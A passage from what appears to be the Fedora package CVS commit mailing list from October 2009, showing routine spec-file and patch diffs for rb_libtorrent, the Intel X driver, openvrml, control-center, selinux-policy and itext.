 
 Group:		System Environment/Libraries
@@ -19,6 +19,7 @@ BuildRoot:	%{_tmppath}/%{name}-%{version
 
 BuildRequires:	asio-devel
 BuildRequires:	boost-devel
+BuildRequires:	GeoIP-devel
 BuildRequires:	libtool
 BuildRequires:	python-devel
 BuildRequires:	python-setuptools
@@ -113,6 +114,7 @@ rm -rf include/libtorrent/asio*
 	--with-boost-regex=mt				\
 	--with-boost-system=mt				\
 	--with-boost-thread=mt				\
+	--with-libgeoip=system				\
 	--with-zlib=system
 ## Use the system libtool to ensure that we don't get unnecessary RPATH
 ## hacks in our final build.
@@ -181,6 +183,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun Sep 27 2009 Peter Gordon <peter at thecodergeek.com> - 0.14.6-1
+- Update to new upstream release (0.14.6)
+- Build against system GeoIP libraries.
+	
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.14.4-3
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rb_libtorrent/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	3 Jun 2009 05:22:28 -0000	1.9
+++ sources	2 Oct 2009 03:14:36 -0000	1.10
@@ -1 +1 @@
-4c1f2bb19d210394316d92e69bd5bfde  libtorrent-rasterbar-0.14.4.tar.gz
+1b5b91a5d0abb8cefef9f4195738e621  libtorrent-rasterbar-0.14.6.tar.gz



From krh at fedoraproject.org  Fri Oct  2 03:16:42 2009
From: krh at fedoraproject.org (=?utf-8?q?Kristian_H=C3=B8gsberg?=)
Date: Fri,  2 Oct 2009 03:16:42 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel xorg-x11-drv-intel.spec,1.35,1.36
Message-ID: <20091002031642.60EBD11C0261@cvs1.fedora.phx.redhat.com>

Author: krh

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5641

Modified Files:
	xorg-x11-drv-intel.spec 
Log Message:
* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-3
- Need autoreconf also when patching a release (to pick up -ludev)



Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/xorg-x11-drv-intel.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- xorg-x11-drv-intel.spec	1 Oct 2009 21:16:55 -0000	1.35
+++ xorg-x11-drv-intel.spec	2 Oct 2009 03:16:42 -0000	1.36
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
 Version:   2.9.0
-Release:   2%{?dist}
+Release:   3%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -85,9 +85,7 @@ Debugging tools for Intel graphics chips
 
 %build
  
-%if 0%{?gitdate}
 autoreconf -vi
-%endif
 %configure --disable-static --libdir=%{_libdir} --mandir=%{_mandir} --enable-dri --enable-kms
 make
 
@@ -137,6 +135,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-3
+- Need autoreconf also when patching a release (to pick up -ludev)
+
 * Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-2
 - Rebase to 2.9.0.
 - Don't drop gpu tools from sources.



From braden at fedoraproject.org  Fri Oct  2 04:34:57 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri,  2 Oct 2009 04:34:57 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.71,1.72
Message-ID: <20091002043457.9E82B11C00EB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17593/F-11

Modified Files:
	openvrml.spec 
Log Message:
Separate the Java and JavaScript scripting backends into subpackages.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- openvrml.spec	28 Sep 2009 15:33:50 -0000	1.71
+++ openvrml.spec	2 Oct 2009 04:34:56 -0000	1.72
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        VRML/X3D runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -24,8 +24,6 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
-Requires:       xulrunner%{?_isa} >= 1.9.1
-Requires:       java-1.6.0-openjdk%{?_isa}
 
 %description
 OpenVRML is a VRML/X3D support library, including a runtime and facilities
@@ -42,6 +40,22 @@ Requires:       boost-devel%{?_isa} >= 1
 Headers that programmers will need to develop C++ programs using
 OpenVRML.
 
+%package javascript
+Summary:        Script node JavaScript support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       xulrunner%{?_isa} >= 1.9.1
+%description javascript
+A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
+
+%package java
+Summary:        Script node Java support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       java-1.6.0-openjdk%{?_isa}
+%description java
+A Java scripting engine for OpenVRML.
+
 %package gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
@@ -144,6 +158,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
 
+%files javascript
+%{_libdir}/openvrml/script/javascript.so
+
+%files java
+%{_libdir}/openvrml/script/java.so
 
 %post gl -p /sbin/ldconfig
 
@@ -188,6 +207,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Fri Oct 2 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-4
+- Separate the Java and JavaScript scripting backends into subpackages.
+
 * Mon Sep 28 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-3
 - Reqire mesa-libGLU-devel since there is no arch-specific libGLU-devel.
 



From braden at fedoraproject.org  Fri Oct  2 04:34:57 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Fri,  2 Oct 2009 04:34:57 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.75,1.76
Message-ID: <20091002043457.A220C11C02C9@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17593/devel

Modified Files:
	openvrml.spec 
Log Message:
Separate the Java and JavaScript scripting backends into subpackages.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- openvrml.spec	28 Sep 2009 15:33:50 -0000	1.75
+++ openvrml.spec	2 Oct 2009 04:34:57 -0000	1.76
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        VRML/X3D runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -24,8 +24,6 @@ BuildRequires:  gtkglext-devel
 BuildRequires:  libgnomeui-devel >= 2.14
 BuildRequires:  curl-devel
 BuildRequires:  java-devel
-Requires:       xulrunner%{?_isa} >= 1.9.1
-Requires:       java-1.6.0-openjdk%{?_isa}
 
 %description
 OpenVRML is a VRML/X3D support library, including a runtime and facilities
@@ -42,6 +40,22 @@ Requires:       boost-devel%{?_isa} >= 1
 Headers that programmers will need to develop C++ programs using
 OpenVRML.
 
+%package javascript
+Summary:        Script node JavaScript support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       xulrunner%{?_isa} >= 1.9.1
+%description javascript
+A JavaScript scripting engine for OpenVRML using Mozilla SpiderMonkey.
+
+%package java
+Summary:        Script node Java support for OpenVRML
+Group:          System Environment/Libraries
+Requires:       %{name}%{?_isa} = %{version}-%{release}
+Requires:       java-1.6.0-openjdk%{?_isa}
+%description java
+A Java scripting engine for OpenVRML.
+
 %package gl
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
@@ -144,6 +158,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_libdir}/libopenvrml.so
 %{_libdir}/pkgconfig/openvrml.pc
 
+%files javascript
+%{_libdir}/openvrml/script/javascript.so
+
+%files java
+%{_libdir}/openvrml/script/java.so
 
 %post gl -p /sbin/ldconfig
 
@@ -188,8 +207,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Fri Oct 2 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
+- Separate the Java and JavaScript scripting backends into subpackages.
+
 * Mon Sep 28 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-5
-- Reqire mesa-libGLU-devel since there is no arch-specific libGLU-devel.
+- Require mesa-libGLU-devel since there is no arch-specific libGLU-devel.
 
 * Mon Sep 28 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-4
 - Arch-independent Requires are not safe for multilib systems when a



From mclasen at fedoraproject.org  Fri Oct  2 05:12:39 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  2 Oct 2009 05:12:39 +0000 (UTC)
Subject: rpms/control-center/F-12 shell-markup.patch, NONE,
	1.1 control-center.spec, 1.494, 1.495
Message-ID: <20091002051239.8B94011C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23020

Modified Files:
	control-center.spec 
Added Files:
	shell-markup.patch 
Log Message:
don't show markup in the ui


shell-markup.patch:
 app-shell.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE shell-markup.patch ---
diff -up gnome-control-center-2.28.0/libslab/app-shell.c.shell-markup gnome-control-center-2.28.0/libslab/app-shell.c
--- gnome-control-center-2.28.0/libslab/app-shell.c.shell-markup	2009-10-02 01:03:41.999269098 -0400
+++ gnome-control-center-2.28.0/libslab/app-shell.c	2009-10-02 01:05:13.150267868 -0400
@@ -726,7 +726,6 @@ static void
 show_no_results_message (AppShellData * app_data, GtkWidget * containing_vbox)
 {
 	gchar *markup;
-	gchar *str1;
 	gchar *str2;
 	
 	if (!app_data->filtered_out_everything_widget)
@@ -750,8 +749,7 @@ show_no_results_message (AppShellData * 
 		gtk_container_add (GTK_CONTAINER (app_data->filtered_out_everything_widget), hbox);
 	}
 
-	str1 = g_strdup_printf ("<b>%s</b>", app_data->filter_string);
-	str2 = g_strdup_printf (_("Your filter \"%s\" does not match any items."), str1);
+	str2 = g_strdup_printf (_("Your filter \"%s\" does not match any items."), app_data->filter_string);
 	markup = g_markup_printf_escaped ("<span size=\"large\"><b>%s</b></span>\n\n%s",
 		_("No matches found."), str2);
 	gtk_label_set_text (app_data->filtered_out_everything_widget_label, markup);
@@ -759,6 +757,7 @@ show_no_results_message (AppShellData * 
 	gtk_box_pack_start (GTK_BOX (containing_vbox), app_data->filtered_out_everything_widget,
 		TRUE, TRUE, 0);
 	g_free (markup);
+	g_free (str2);
 }
 
 static void


Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.494
retrieving revision 1.495
diff -u -p -r1.494 -r1.495
--- control-center.spec	30 Sep 2009 13:36:58 -0000	1.494
+++ control-center.spec	2 Oct 2009 05:12:39 -0000	1.495
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.0
-Release: 12%{?dist}
+Release: 13%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -61,6 +61,9 @@ Patch50: fix-background-tooltips.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=593866
 Patch51: mirror-crash.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597066
+Patch52: shell-markup.patch
+
 # call the Fedora/RHEL graphical passwd changing apps
 Patch95: gnome-control-center-2.25.2-passwd.patch
 Patch96: gnome-control-center-2.25.2-gecos.patch
@@ -196,6 +199,7 @@ for the GNOME desktop.
 %patch47 -p1 -b .save-as
 %patch50 -p1 -b .fix-background-tooltips
 %patch51 -p1 -b .mirror-crash
+%patch52 -p1 -b .shell-markup
 
 # vendor configuration patches
 %patch95 -p1 -b .passwd
@@ -386,6 +390,9 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-13
+- Don't show markup in the UI
+
 * Wed Sep 30 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-12
 - Fix a crash in the display capplet
 



From mgrepl at fedoraproject.org  Fri Oct  2 06:19:38 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri,  2 Oct 2009 06:19:38 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 policy-20090521.patch,1.53,1.54
Message-ID: <20091002061938.6C81911C00C1@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4954

Modified Files:
	policy-20090521.patch 
Log Message:
- dovecot needs setcap/getcap
- Fix up sssd policy



policy-20090521.patch:
 man/man8/samba_selinux.8                  |    4 
 policy/mcs                                |   12 -
 policy/modules/admin/certwatch.te         |    4 
 policy/modules/admin/kismet.te            |   16 +
 policy/modules/admin/logrotate.te         |    6 
 policy/modules/admin/mrtg.te              |    8 
 policy/modules/admin/prelink.te           |    9 
 policy/modules/admin/readahead.te         |    2 
 policy/modules/admin/rpm.fc               |    1 
 policy/modules/admin/rpm.if               |   46 +++++
 policy/modules/admin/rpm.te               |    4 
 policy/modules/admin/shorewall.fc         |   12 +
 policy/modules/admin/shorewall.if         |  166 ++++++++++++++++++
 policy/modules/admin/shorewall.te         |  103 +++++++++++
 policy/modules/admin/sudo.if              |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    3 
 policy/modules/admin/usermanage.te        |    3 
 policy/modules/apps/awstats.te            |    2 
 policy/modules/apps/calamaris.te          |    4 
 policy/modules/apps/gitosis.fc            |    4 
 policy/modules/apps/gitosis.if            |   96 ++++++++++
 policy/modules/apps/gitosis.te            |   43 ++++
 policy/modules/apps/gnome.te              |   10 +
 policy/modules/apps/gpg.if                |    2 
 policy/modules/apps/gpg.te                |    1 
 policy/modules/apps/java.te               |    2 
 policy/modules/apps/mozilla.if            |   16 +
 policy/modules/apps/mozilla.te            |   14 -
 policy/modules/apps/nsplugin.if           |    2 
 policy/modules/apps/ptchown.fc            |    2 
 policy/modules/apps/ptchown.if            |   22 ++
 policy/modules/apps/ptchown.te            |   40 ++++
 policy/modules/apps/qemu.fc               |    1 
 policy/modules/apps/qemu.te               |    5 
 policy/modules/apps/sandbox.if            |  134 +++++++++++---
 policy/modules/apps/sandbox.te            |  274 +++++++++++++++++++++++++++---
 policy/modules/apps/screen.if             |    1 
 policy/modules/apps/vmware.fc             |    1 
 policy/modules/apps/vmware.te             |    6 
 policy/modules/kernel/corecommands.fc     |   10 -
 policy/modules/kernel/corenetwork.te.in   |    5 
 policy/modules/kernel/devices.fc          |    3 
 policy/modules/kernel/devices.if          |  145 +++++++++++++++
 policy/modules/kernel/devices.te          |   13 +
 policy/modules/kernel/domain.if           |   45 +---
 policy/modules/kernel/domain.te           |   31 +++
 policy/modules/kernel/files.if            |    4 
 policy/modules/kernel/kernel.if           |    2 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    2 
 policy/modules/kernel/terminal.if         |   19 ++
 policy/modules/roles/staff.te             |   12 +
 policy/modules/roles/sysadm.if            |   35 +++
 policy/modules/roles/sysadm.te            |    4 
 policy/modules/roles/unconfineduser.te    |   10 -
 policy/modules/roles/unprivuser.te        |    4 
 policy/modules/roles/xguest.te            |    6 
 policy/modules/services/afs.fc            |    2 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/apache.fc         |    5 
 policy/modules/services/apache.te         |    1 
 policy/modules/services/automount.if      |   18 +
 policy/modules/services/avahi.te          |    2 
 policy/modules/services/bluetooth.te      |    1 
 policy/modules/services/clamav.te         |    4 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   21 ++
 policy/modules/services/cobbler.te        |   10 +
 policy/modules/services/consolekit.te     |    3 
 policy/modules/services/cron.if           |   19 --
 policy/modules/services/cron.te           |    2 
 policy/modules/services/cups.fc           |    2 
 policy/modules/services/cups.te           |   28 ++-
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   27 ++
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 ++
 policy/modules/services/devicekit.te      |    6 
 policy/modules/services/dnsmasq.te        |    8 
 policy/modules/services/dovecot.if        |   34 +--
 policy/modules/services/dovecot.te        |   22 +-
 policy/modules/services/exim.te           |    7 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |   10 -
 policy/modules/services/ftp.te            |   15 +
 policy/modules/services/gnomeclock.te     |    1 
 policy/modules/services/gpsd.fc           |    3 
 policy/modules/services/gpsd.te           |   19 +-
 policy/modules/services/hal.te            |   15 +
 policy/modules/services/hddtemp.fc        |    4 
 policy/modules/services/hddtemp.if        |   38 ++++
 policy/modules/services/hddtemp.te        |   40 ++++
 policy/modules/services/kerberos.if       |    2 
 policy/modules/services/kerberos.te       |   12 +
 policy/modules/services/lircd.te          |    4 
 policy/modules/services/mailman.if        |    1 
 policy/modules/services/mta.if            |    1 
 policy/modules/services/mysql.te          |    6 
 policy/modules/services/nis.te            |    3 
 policy/modules/services/nslcd.fc          |    4 
 policy/modules/services/nslcd.if          |  145 +++++++++++++++
 policy/modules/services/nslcd.te          |   50 +++++
 policy/modules/services/nx.fc             |    3 
 policy/modules/services/nx.if             |   20 ++
 policy/modules/services/openvpn.te        |   14 +
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/polkit.fc         |    2 
 policy/modules/services/polkit.if         |    2 
 policy/modules/services/polkit.te         |    3 
 policy/modules/services/postfix.if        |   26 ++
 policy/modules/services/postfix.te        |   26 --
 policy/modules/services/postgresql.te     |    2 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |    2 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/pyzor.fc          |    2 
 policy/modules/services/pyzor.te          |    2 
 policy/modules/services/radvd.te          |    2 
 policy/modules/services/rpc.te            |   15 +
 policy/modules/services/rpcbind.if        |   20 ++
 policy/modules/services/rsync.te          |    2 
 policy/modules/services/samba.te          |    6 
 policy/modules/services/sasl.te           |    6 
 policy/modules/services/sendmail.if       |   39 ++++
 policy/modules/services/sendmail.te       |    7 
 policy/modules/services/setroubleshoot.te |    5 
 policy/modules/services/shorewall.fc      |   12 -
 policy/modules/services/shorewall.if      |  166 ------------------
 policy/modules/services/shorewall.te      |  102 -----------
 policy/modules/services/smartmon.te       |    4 
 policy/modules/services/snmp.if           |   37 ++++
 policy/modules/services/snmp.te           |    2 
 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    4 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   35 +--
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   15 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    4 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 169 files changed, 2593 insertions(+), 685 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- policy-20090521.patch	30 Sep 2009 15:56:03 -0000	1.53
+++ policy-20090521.patch	2 Oct 2009 06:19:36 -0000	1.54
@@ -2659,7 +2659,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/dbus.if serefpolicy-3.6.12/policy/modules/services/dbus.if
 --- nsaserefpolicy/policy/modules/services/dbus.if	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/dbus.if	2009-09-29 18:19:43.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/dbus.if	2009-10-02 08:17:37.000000000 +0200
 @@ -176,6 +176,10 @@
  		xserver_use_xdm_fds($1_dbusd_t)
  		xserver_rw_xdm_pipes($1_dbusd_t)
@@ -2671,7 +2671,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -458,3 +462,25 @@
+@@ -458,3 +462,26 @@
  	allow $1 system_dbusd_t:tcp_socket { read write };
  	allow $1 system_dbusd_t:fd use;
  ')
@@ -2692,6 +2692,7 @@ diff -b -B --ignore-all-space --exclude-
 +                type system_dbusd_t, system_dbusd_var_run_t;
 +        ')
 +
++	dontaudit $1 system_dbusd_var_run_t:dir manage_dir_perms;
 +	dontaudit $1 system_dbusd_var_run_t:sock_file rw_sock_file_perms;
 +        dontaudit $1 system_dbusd_t:unix_stream_socket connectto;
 +')
@@ -5947,7 +5948,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.fc serefpolicy-3.6.12/policy/modules/system/libraries.fc
 --- nsaserefpolicy/policy/modules/system/libraries.fc	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/system/libraries.fc	2009-07-31 09:55:41.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/system/libraries.fc	2009-10-02 07:38:02.000000000 +0200
 @@ -139,8 +139,10 @@
  /usr/lib(64)?/(nvidia/)?libGL(core)?\.so(\.[^/]*)* -- gen_context(system_u:object_r:textrel_shlib_t,s0)
  /usr/lib(64)?/fglrx/.*\.so(\.[^/]*)*	--	gen_context(system_u:object_r:textrel_shlib_t,s0)
@@ -5993,7 +5994,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/spamassassin/compiled/.*\.so.*    --     gen_context(system_u:object_r:lib_t,s0)
  
  ifdef(`distro_suse',`
-@@ -366,9 +374,10 @@
+@@ -366,9 +374,14 @@
  /usr/matlab.*\.so(\.[^/]*)*		gen_context(system_u:object_r:textrel_shlib_t,s0)
  /opt/local/matlab.*\.so(\.[^/]*)*	gen_context(system_u:object_r:textrel_shlib_t,s0)
  /usr/local/matlab.*\.so(\.[^/]*)*	gen_context(system_u:object_r:textrel_shlib_t,s0)
@@ -6003,8 +6004,11 @@ diff -b -B --ignore-all-space --exclude-
  
  /usr/lib(64)?/ICAClient/.*\.so(\.[^/]*)*	gen_context(system_u:object_r:textrel_shlib_t,s0)
  
--
 +/usr/lib(64)?/midori/.*\.so(\.[^/]*)*	gen_context(system_u:object_r:textrel_shlib_t,s0)
++
++# libraries for avidemux
++/usr/lib/libADM_coreImage\.so	--	gen_context(system_u:object_r:textrel_shlib_t,s0)
+ 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/locallogin.te serefpolicy-3.6.12/policy/modules/system/locallogin.te
 --- nsaserefpolicy/policy/modules/system/locallogin.te	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/system/locallogin.te	2009-06-25 10:21:01.000000000 +0200



From oget at fedoraproject.org  Fri Oct  2 06:35:55 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Fri,  2 Oct 2009 06:35:55 +0000 (UTC)
Subject: rpms/itext/devel itext-rups.desktop, NONE, 1.1 itext-rups.sh, NONE, 
	1.1 itext-toolbox.desktop, NONE, 1.1 itext-toolbox.sh, NONE,
	1.1 itext.spec, 1.24, 1.25
Message-ID: <20091002063555.A50B211C00C1@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/itext/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9012

Modified Files:
	itext.spec 
Added Files:
	itext-rups.desktop itext-rups.sh itext-toolbox.desktop 
	itext-toolbox.sh 
Log Message:
* Thu Oct 01 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.1.7-5
- Separate rtf, rups and toolbox packages
- Reduce dependencies of the main package (RHBZ#524066)



--- NEW FILE itext-rups.desktop ---
[Desktop Entry]
Name=iText RUPS
GenericName=Reading/Updating PDF Syntax
Comment=a GUI application that allows you to look inside a PDF
Exec=itext-rups
Icon=itext-rups
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-rups.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-rups.jar:${DATADIR}/dom4j.jar:${DATADIR}/pdf-renderer.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.rups.Rups"

run


--- NEW FILE itext-toolbox.desktop ---
[Desktop Entry]
Name=iText Toolbox
GenericName=PDF Utility
Comment=A utility that allows to use a number of iText tools
Exec=itext-toolbox
Icon=itext-toolbox
Terminal=false
Type=Application
Categories=Utility;


--- NEW FILE itext-toolbox.sh ---
#!/bin/sh

# source the jpackage helpers
VERBOSE=1
. /usr/share/java-utils/java-functions

# set JAVA_* environment variables
set_javacmd
check_java_env
set_jvm_dirs


DATADIR=/usr/share/java
CLASSPATH=${DATADIR}/bcprov.jar:${DATADIR}/bcmail.jar:${DATADIR}/bctsp.jar:${DATADIR}/itext.jar:${DATADIR}/itext-toolbox.jar

set_options "-cp ${CLASSPATH}"

MAIN_CLASS="com.lowagie.toolbox.Toolbox"

run


Index: itext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/itext/devel/itext.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- itext.spec	28 Aug 2009 20:32:29 -0000	1.24
+++ itext.spec	2 Oct 2009 06:35:53 -0000	1.25
@@ -4,12 +4,16 @@
 Summary:          A Free Java-PDF library
 Name:             itext
 Version:          2.1.7
-Release:          4%{?dist}
-License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and MIT and LGPLv2+ and CC-BY
+Release:          5%{?dist}
+License:          (LGPLv2+ or MPLv1.1) and ASL 2.0 and BSD and LGPLv2+
 URL:              http://www.lowagie.com/iText/
 Group:            Development/Libraries
 Source0:          http://downloads.sourceforge.net/itext/iText-src-%{version}.tar.gz
 Source2:          http://repo2.maven.org/maven2/com/lowagie/itext/%{version}/itext-%{version}.pom
+Source3:          itext-rups.sh
+Source4:          itext-rups.desktop
+Source5:          itext-toolbox.sh
+Source6:          itext-toolbox.desktop
 Patch1:           itext-2.1.5-pdftk.patch
 
 # The iText POM specifies that it requires bouncycastle's "jdk14" JARs
@@ -40,9 +44,11 @@ Patch3:           itext-xmloutput.patch
 
 BuildRequires:    ant
 BuildRequires:    bouncycastle-tsp
+BuildRequires:    desktop-file-utils
 BuildRequires:    dom4j
+BuildRequires:    ImageMagick
 BuildRequires:    pdf-renderer
-BuildRequires:    java-devel >= 1.5
+BuildRequires:    java-devel >= 1.7
 BuildRequires:    jpackage-utils
 %if %{with_gcj}
 BuildRequires:    java-gcj-compat-devel
@@ -54,12 +60,10 @@ BuildArch:        noarch
 %endif
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:         bouncycastle-tsp
-Requires:         dom4j
 Requires:         java >= 1.5
 Requires:         jpackage-utils >= 1.5
 Requires(post):   jpackage-utils >= 1.7
 Requires(postun): jpackage-utils >= 1.7
-Requires:         pdf-renderer
 Provides:         %{alternate_name} == %{version}-%{release}
 
 %description
